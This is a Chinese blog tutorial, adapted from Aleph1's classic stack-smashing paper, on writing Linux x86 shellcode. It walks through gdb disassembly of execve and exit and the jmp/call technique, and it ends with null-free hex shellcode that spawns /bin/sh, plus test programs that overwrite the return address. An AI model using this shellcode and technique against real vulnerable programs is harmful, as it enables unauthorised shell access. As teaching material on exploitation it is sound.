如何写shell code

学习笔记--在线强化学习、离线强化学习、连续强化学习的区别(4) 在连续强化学习中,状态和动作都是连续的,这意味着智能体可以采取无限数量的动作,并且状态空间是连续的,而不是离散的点。- 策略评估和模型选择:在离线学习中,如何有效地评估不同策略和模型的性能,是一个重要的研究问题。- 连续学习和迁移学习:在线学习中,学习者需要不断在不同任务和环境中学习,研究者致力于研究如何将之前学到的知识迁移到新任务中,以实现更高效的学习和决策。- 连续动作选择和优化:在连续动作空间中,智能体对动作的选择是无限的,研究者在连续强化学习中通常关注如何有效地选择连续动作,以达到最优决策策略。 阅读详情
我曾看到有人翻了aleph1的<<smashing stack for fun and profit>>,
奇怪的是里面把写shellcode的部分给略掉了,我觉得对于想自己写点儿exploit
的人,不懂怎么写shellcode是不行的.所以我就参考alph1的文章来讲讲怎么写
shellcode.不对的地方还请多多指教.
                                               

   通过覆盖堆栈中的返回地址,我们可以让程序转到该地址去执行我们想要执行
的指令.通常的做法是在溢出的数据中放入我们自己的可执行代码,然后覆盖返回地址,
使它指向我们自己代码开始的地址.一般我们希望可执行代码能启动一个shell.假设
堆栈开始的地址是0xFF,"S"代表我们想执行的代码,堆栈的情况如下:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
栈顶                                                               栈底


sfp: 堆栈帧指针
ret: 返回地址
a,b,c: 函数入口参数


下面是一个启动shell的C程序:

shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------

   为了查看它的汇编代码,我们可以先编译它,然后启动gdb来分析。

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------

下面我们看看整个过程是怎样的。先从main()开始:

------------------------------------------------------------------------------
0x8000130 <main>:   pushl  %ebp       #保存原来的栈帧指针
0x8000131 <main+1>: movl   %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x8000133 <main+3>: subl   $0x8,%esp  #堆栈指针前移8个字节,为局部变量分配空间
                                      #相当于 char *name[2];因为每个字符指针
                                      #都是4个字节,所以一共8个字节。
0x8000136 <main+6>: movl   $0x80027b8,0xfffffff8(%ebp)
                                      #将字符串"/bin/sh"的地址拷贝到name[0]中                                          
                                      #等于name[0]="/bin/sh";
0x800013d <main+13>:movl   $0x0,0xfffffffc(%ebp)
                                      #将0(NULL)值拷贝到name[1]中
                                      #等于 name[1]=NULL;                                          
0x8000144 <main+20>:pushl  $0x0       #按从右到左的顺序将execv()的三个参数依次
                                      #压栈,首先压入NULL值 (第三个参数)
0x8000146 <main+22>:leal   0xfffffff8(%ebp),%eax
                                      #将name[]的地址装入寄存器EAX中
0x8000149 <main+25>:pushl  %eax       #将name[]的地址压入堆栈 (第二个参数)
0x800014a <main+26>:movl   0xfffffff8(%ebp),%eax
                                   #将"/bin/sh"的地址装入EAX
0x800014d <main+29>:pushl  %eax       #将"/bin/sh"的地址装入堆栈(第一个参数)
0x800014e <main+30>:call   0x80002bc <__execve>
                                      #参数全部压栈后,我们开始调用execve()
                                      #它首先将当前IP压入堆栈
------------------------------------------------------------------------------                                         

   现在我们来看execve().要记住现在我们用的是基于Intel的Linux系统。而syscall的具
体调用细节随着不同的系统和CPU也有所不同。有一些是在堆栈中传递参数,也有的是在寄
存器里。有的是用软件中断跳到kernel模式,有的则是通过一个far调用来完成。Linux在
寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式。(int $80)
  
------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp       #保存原来的栈帧指针
0x80002bd <__execve+1>: movl   %esp,%ebp  #将当前堆栈指针变成新的栈帧指针
0x80002bf <__execve+3>: pushl  %ebx       #将ebx压栈
0x80002c0 <__execve+4>: movl   $0xb,%eax  #拷贝0xb(11)到eax中,这是syscall表的
                                          #索引值。11代表execv.
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx  #将"/bin/sh"的地址拷贝到ebx中
0x80002c8 <__execve+12>:movl   0xc(%ebp),%ecx  #将name[]的地址拷贝到ecx中
0x80002cb <__execve+15>:movl   0x10(%ebp),%edx #将null的地址拷贝到edx中
0x80002ce <__execve+18>:int    $0x80      #软件中断,转入kernel模式

------------------------------------------------------------------------------

从上面的分析可以看出,完成execve()系统调用,我们所要做的不过是这么几项而已:

        a) 在内存中有以NULL结尾的字符串"/bin/sh"
        b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
        c) 将0xb拷贝到寄存器EAX中
        d) 将"/bin/sh"的地址拷贝到寄存器EBX中
        e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
        f) 将NULL串的地址拷贝到寄存器EDX中
        g) 执行中断指令int $0x80

   如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据
可能是随机的.通常这个程序会core dump.我们希望如果execve调用失败的话,程序可以正
常退出.因此我们必须在execve调用后增加一个exit系统调用.它的C语言程序如下:  
  
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
------------------------------------------------------------------------------

   我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出号码放
入EBX中,然后执行"int $0x80".大部分程序正常退出时返回0值,我们也在EBX中放入0.现
在我们所要完成的工作又增加了三项:
        a) 在内存中有以NULL结尾的字符串"/bin/sh"
        b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值
        c) 将0xb拷贝到寄存器EAX中
        d) 将"/bin/sh"的地址拷贝到寄存器EBX中
        e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中
        f) 将NULL串的地址拷贝到寄存器EDX中
        g) 执行中断指令int $0x80
        h) 将0x1拷贝到寄存器EAX中
        i) 将0x0拷贝到寄存器EBX中
        j) 执行中断指令int $0x80

   下面我们用汇编语言完成上述工作.我们把"/bin/sh"字符串放到代码的后面,并且将会
把字符串的地址和NULL字加到字符串的后面:
  
------------------------------------------------------------------------------
  movl   string_addr,string_addr_addr    #将字符串的地址放入某个内存单元中
movb   $0x0,null_byte_addr             #将null放入字符串"/bin/sh"的结尾
  movl   $0x0,null_addr                  #将NULL字放入某个内存单元中
  movl   $0xb,%eax                       #将0xb拷贝到EAX中
  movl   string_addr,%ebx                #将字符串的地址拷贝到EBX中
  leal   string_addr_addr,%ecx           #将存放字符串地址的地址拷贝到ECX中
  leal   null_string,%edx                #将存放NULL字的地址拷贝到EDX中
  int    $0x80                           #执行中断指令int $0x80 (execv()完成)
  movl   $0x1, %eax                      #将0x1拷贝到EAX中
  movl   $0x0, %ebx                      #将0x0拷贝到EBX中
int    $0x80                           #执行中断指令int $0x80 (exit(0)完成)
  /bin/sh string goes here.              #存放字符串"/bin/sh"
------------------------------------------------------------------------------

   现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中
的确切位置.一种解决的方法是用一个jmp和call指令.jmp和call指令可以用IP相关寻址
,也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址
的确切数值.如果我们将call指令放在字符串"/bin/sh"的前面,然后jmp到call指令的位置,
那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址
)压入堆栈.我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符
串地址)从堆栈中弹出到某个寄存器中.假设J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/sh",那么我们执行的顺序就象下图所示:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
栈顶                                                                栈底

(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode的
  起始处
(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令
(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行


   经过上述修改后,我们的汇编代码变成了下面的样子:
------------------------------------------------------------------------------
  jmp    offset-to-call           # 2 bytes 1.首先跳到call指令处去执行
  popl   %esi                     # 1 byte  3.从堆栈中弹出字符串地址到ESI中
  movl   %esi,array-offset(%esi)  # 3 bytes 4.将字符串地址拷贝到字符串后面
  movb   $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾
  movl   $0x0,null-offset(%esi)   # 7 bytes 6.将null长字放到字符串地址的地址后面
  movl   $0xb,%eax                # 5 bytes 7.将0xb拷贝到EAX中
  movl   %esi,%ebx                # 2 bytes 8.将字符串地址拷贝到EBX中
  leal   array-offset,(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX
  leal   null-offset(%esi),%edx   # 3 bytes 10.将null串的地址拷贝到EDX
  int    $0x80                    # 2 bytes 11.调用中断指令int $0x80
  movl   $0x1, %eax               # 5 bytes 12.将0x1拷贝到EAX中
  movl   $0x0, %ebx              # 5 bytes 13.将0x0拷贝到EBX中
  int    $0x80                   # 2 bytes 14.调用中断int $0x80
  call   offset-to-popl           # 5 bytes 2.将返回地址压栈,跳到popl处执行
/bin/sh string goes here.
------------------------------------------------------------------------------

   计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到
null串的偏移量,我们得到下面的程序:
  
------------------------------------------------------------------------------
jmp    0x26               # 2 bytes 1.首先跳到call指令处去执行
popl   %esi               # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl   %esi,0x8(%esi)     # 3 bytes 4.将字符串地址拷贝到字符串后面第9个字节处
movb   $0x0,0x7(%esi)    # 4 bytes 5.将null字节放到字符串后第8个字节处
movl   $0x0,0xc(%esi)     # 7 bytes 6.将null长字放到字符串地址后第13个字节处
movl   $0xb,%eax          # 5 bytes 7.将0xb拷贝到EAX中
movl   %esi,%ebx          # 2 bytes 8.将字符串地址拷贝到EBX中
leal   0x8(%esi),%ecx     # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal   0xc(%esi),%edx     # 3 bytes 10.将null串的地址拷贝到EDX
int    $0x80              # 2 bytes 11.调用中断指令int $0x80
movl   $0x1, %eax        # 5 bytes 12.将0x1拷贝到EAX中
movl   $0x0, %ebx        # 5 bytes 13.将0x0拷贝到EBX中
int    $0x80             # 2 bytes 14.调用中断int $0x80
call   -0x2b             # 5 bytes 2.将返回地址压栈,跳到popl处执行
  .string /"/bin/sh/"     # 8 bytes
------------------------------------------------------------------------------
当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况
假设字符串的地址是0xbfffc5f0:
       
   |........ | 
   |---------|0xbfffc5f0  %esi         字符串地址
   |   '/'   |
   |---------|
   |   'b'   |
   |---------|
   |   'i'   |
   |---------|
   |   'n'   |
   |---------|
   |   '/'   |
   |---------|
   |   's'   |
   |---------|
   |   'h'   |
   |---------|0xbfffc5f7  0x7(%esi) null字节的地址
   |    0    |
   |---------|0xbfffc5f8  0x8(%esi)(存放)字符串地址的地址 即name[0] 大小是4个字节
   |   0xbf  |
   |---------| 注:这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序.
   |   0xff  |    我没有验证过,只是为了说明问题,简单的这么写了一下.
   |---------|    有人感兴趣的可以验证一下.
   |   0xc5  |
   |---------|
   |   0xf0  |
   |---------|0xbfffc5fc  0xc(%esi)    空串的地址 即name[1] 大小是4个字节
   |    0    | 
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------| 
   | ....... |
         
------------------------------------------------------------------------------          
   为了证明它能正常工作,我们必须编译并运行它.但这里有个问题,我们的代码要自己修
改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望
执行的代码放到堆栈或数据段中,并且转向执行它.我们可以将代码放到数据段的一个全局
数组中.我们需要首先得到二进制码的16进制形式.我们可以先编译,然后用GDB得到我们所
要的东西.
  
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string /"/bin/sh/"             # 8 bytes
");
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
..
..
..
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
        "/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
        "/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
        "/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
        "/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------

   很好,它现在工作了.但还有个小问题.大多数情况下我们都是试图overflow一个字符型
buffer.因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程
就被中止了.因此要是exploit工作,shellcode中不能有null字节.我们可以略微的调整一
下代码:
  
           有问题的指令:                                 替代指令:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------

   我们改进后的代码如下:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x7(%esi)           # 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string /"/bin/sh/"             # 8 bytes
                                        # 46 bytes total
");
}
------------------------------------------------------------------------------

   测试一下新的代码是否工作:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
        "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
        "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
        "/x80/xe8/xdc/xff/xff/xff/bin/sh";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)
这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题.
你可以根据自己的需要,编写出自己的shellcode来.
1、网站可靠性工程(SRE):原理、实践与转型指南 本文深入探讨了网站可靠性工程(SRE)的核心原理、实践方法以及组织转型策略。从SRE的基本概念如服务水平指标(SLI)、服务水平目标(SLO)和错误预算入手,详细解析了如何通过SRE实现产品开发、运营和管理团队的高效协作。此外,还涵盖了SRE的实施步骤,包括现状评估、组织认同、基础设施建设、事件响应、错误预算政策制定以及组织结构设计等内容。最后,文章展望了SRE的未来发展,强调了服务目录、合规监管及SRE文化建设的重要性,为企业的现代化运营体系转型提供了全面指南。 阅读详情

相关推荐

移动端实战指南:深入理解 & 接入 IAB OMSDK

OMSDK(OpenMeasurementSDK)是IABTechLab推出的标准化测量工具,用于统一移动端/原生App广告的可见性和验证流程。其核心包括Native库(采集设备数据)和OMID JavaScript层(实现通信),通过标准化接口让开发者只需接入一套SDK即可兼容多个测量厂商,减少冲突和性能损耗。v1.4版本强化了对CTV和原生App场景的支持,而v1.5新增了画中画检测等功能。集成流程需通过IAB技术实验室注册下载,并遵循严格的命名空间规则。测试阶段需嵌入验证脚本并通过指定工具验证

帅次的博客 1118

shellcode,缓冲区溢出漏洞及 远程调call

这个函数分配了8个字节的缓冲区,然后通过 strcpy 函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于 8的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。我们的shellcode 不能有00,否则 strcpy 会提前结束,所以 上面的代码中有字符串00结尾,需要我们修改成其他的代码形式。我们只要把返回地址覆盖成我们要执行的代码地址,就可以让该函数返回的时候去顺利执行我们的代码了.

任鸟飞2217777779的博客 1683

【麒麟系统】Rsync文件复制与同步工具

本文摘要: Rsync是一款Linux/Unix系统标配的高效文件同步工具,支持增量传输、SSH加密、断点续传等核心功能,相比SCP具有显著优势。文章详细解析了Rsync的五种标准语法格式和常用参数组合,重点介绍了本地同步、远程SSH同步(推送/拉取)的实操方法,并提供了密钥免密登录配置方案。针对企业运维场景,还讲解了文件过滤、镜像同步(--delete)、迁移同步(--remove-source-files)、空运行预校验(--dry-run)等高级功能,以及带宽限速等优化技巧,帮助用户安全高效地完成各类

信创运维工程师 · 银河麒麟 & 容器实战 | 金融生产环境迁移·等保加固 | 142篇原创·17万+阅读 928

Shellcode中ret调用和call调用函数区别

ShellShellcode中ret调用和call调用函数区别在编shellcode时,我们通常会使用call或者ret来调用执行某些系统函数或者我们自己编的函数代码。下面以一个调用calc.exe的shellcode来说明一下它们的使用方式执行calc.exe的C语言代码: 1 LoadLibrary("kernel32.dll"); 2 WinExec("calc.exe",

北冥有鱼的Blog 3215

执行shellcode的几种方式

首先出汇编成功弹出计算器 #pragma comment(linker,"/section:.data,RWE") //data段可读 #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口 #pragma comment(linker,"/INCREMENTAL:NO") //指...

qq_41683305的博客 5403

ShellCode自定位的几种实现方法

在编shellcode的时候,经常需要定位当前程序的运行位置,所以在shellcode中定位运行的位置是一种常用的场景,本文记录了几种用于定位代码运行位置的方法。 [toc] 1.CALL/POP型 01 E8 00000000 call 06 将eip压栈,然后跳转到eip执行 06 58 pop eax 将eip出...

meanong的博客 2500

3.1 shellcode 概述

概述

qq_55202378的博客 464

如何Shell Code

Buffer overflows are one of the most common vulnerabilities exploited in programs. However, in order to use the exploit to accomplish anything, shellcode must be used. This tutorial is going to go ove

收集盒 Book box 700

手把手教你SHELL CODE

如何在一个游戏和一个软件或者操作系统中执行我们自己的代码?远程堆栈溢出?迭代逆向? 下面这段SHELL神马意思?如何使用?先占个位置,敬请期待 \x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3 转载于:https://www.cnblogs.com/cfas/archive/2013/06/02/3113403.html...

ddz777751的博客 119

shell里面用teelog时return code问题

shell里面,常出现程序执行结果既要往终端输出,又要往log文件输出的情况,这时候一般都使用tee。 例如: #!/bin/sh command | tee -a out.txt ST=$?   但是现在变量ST里设置的返回值是tee命令的返回值,而不是command的返回值, 所以出现即使command执行结果出错,可变量ST的值仍是正常0的情况。   解决办法...

ak47jp的专栏 999

linux中用execve创建文件夹,在linux下用汇编execve(),抽出machine code入.c 文件中, spawn a shell,尽量的詳細了...

在linux下用汇编execve(),抽出machine code入.c 文件中, spawn a shell,尽量的詳細了这个一是给别人看,二也是帮助自己理清思路,欢迎吐槽这是在32位机器下的代码,不是64位用汇编linux中的系统调用execve()之前应该man execve一下说明一下寄存器的使用int execve(const char *filename, char *co...

weixin_39519554的博客 288

< OS 有关 > 在 Windows 11 中编辑的 Shell Script 文件带有 Windows 格式的换行符 “显示为 ^M“, 在 Unix/Linux 中剔除的几种方法

介绍5种,提出脚本中 windows 回车换行符的方法

davenian的博客 650

如何使用shfmt:让Shell脚本格式化变得简单高效

shfmt是一款功能强大的Shell脚本解析器、格式化工具和解释器,支持bash语法,能够帮助开发者自动整理Shell代码格式,提升脚本可读性和一致性。无论是新手还是资深开发者,都能通过shfmt快速规范代码风格,减少因格式问题导致的协作障碍。 ## 🌟 shfmt的核心功能 shfmt作为GitHub加速计划中的重要工具,主要提供三大核心能力: - **语法解析**:准确识别Shell脚本

gitblog_00638的博客 294

直接复制就能用的 Claude Code 提示词模板,覆盖日常开发 90% 场景

你只需要把代码/需求贴进去,替换掉【】里的内容即可。

小灰灰的博客 578

Claude Code 能做什么?程序员最值得使用的 20 个场景

摘要:本文通过20个真实场景展示Claude Code如何提升开发者效率,覆盖日常开发、代码质量、学习探索和效率工具四大类应用。从快速修复Bug、自动生成单元测试和CRUD代码,到代码审查、重构老项目、安全检查等质量保障,再到解释陌生代码、学习新技术等学习场景,最后延伸至Shell脚本自动化、智能Git操作等效率工具。每个场景都配有具体操作示例和效率对比,证明AI编程助手能显著减少重复劳动,提升代码质量,让开发者专注于核心逻辑。特别是最后几个"神操作"场景,展现了Claude Code超出常规想象的应用潜力

学IT,找陈寒 639

Claude Code“后门”争议:它到底做了什么

本文基于 NVDB 风险提示、Anthropic 工程师回应、公开逆向分析及 npm 原始发布包,解析 Claude Code 2.1.91 至 2.1.196 中的隐藏请求标记:触发条件、域名与关键词分类、Unicode 日期隐、数据流向和源码定位。

DedicateToAI的博客 322

claude code 学习心得(新手版)

Claude code(新手学习心得)-关于claude code常见命令和三种模式

Life200的博客 181

wcgw:基于MCP协议实现AI助手与本地Shell/文件系统无缝交互

在AI编程助手日益普及的背景下,如何让大语言模型(如Claude、ChatGPT)更深度地融入本地开发环境,是一个备受关注的技术方向。传统方式需要在聊天界面与本地终端间频繁切换,效率低下且易出错。其核心原理在于通过标准化的模型上下文协议(MCP),在AI应用与本地资源之间建立安全、结构化的通信桥梁。这项技术的价值在于将AI的认知能力与系统的执行能力相结合,实现了从“代码建议”到“具备执行能力的智能体”的转变。典型的应用场景包括自动化脚本执行、交互式代码调试、项目文件批量处理以及智能化的系统运维。本文聚焦的

weixin_30915275的博客 630

探索高效编程:VS Code Shell Format 插件推荐

在现代软件开发中,代码的可读性和一致性是至关重要的。为了提升开发效率和代码质量,我们向您推荐一款强大的 Visual Studio Code 插件——**VS Code Shell Format**。这款插件不仅支持多种文件类型,还能帮助您轻松格式化代码,确保团队间的代码风格统一。 ## 项目介绍 **VS Code Shell Format** 是一款专为 Visual Studio Cod...

gitblog_00323的博客 970

Windows下Visual Studio Code配置Shell开发环境 (超详细图文)| 瞬间提高200%生产力

要说目前最火的编辑器,我说是Visual Studio Code(VS Code)应该没人反对吧!!!软件跨平台支持 Win、Mac 以及 Linux。这篇文章就Windows上使用VSCode搭建Shell环境,介绍了几款非常适用的插件。

我自人间漫浪的博客 1万+

AttnGAN文本生成图像模型 已预训练+训练好的模型 python3版本

已经配置好了预训练模型和训练好的模型已经配置好了下载为鸟类预处理的元数据除了没有CUB-birds的图像数据集,其他文件都已经下载并配置好了。AttnGAN: Fine-Grained TexttoImage Generation with Attention(带有注意的生成对抗网络细化文本到图像生成)的代码复现下载后需要安装环境>pip install python-dateutil > pip install easydict > pip install pandas> pip install torchfile nltk> pip install scikit-image可能需要额外安装的环境,根据提示进行补充:> pip install torchvision

vmos_activation (1).zip

vmos_activation (1).zip

上一篇: 一个漏洞程序的汇编代码
下一篇: 堆栈溢出系列讲座
codeshell
博客等级 码龄21年 9粉丝 33原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
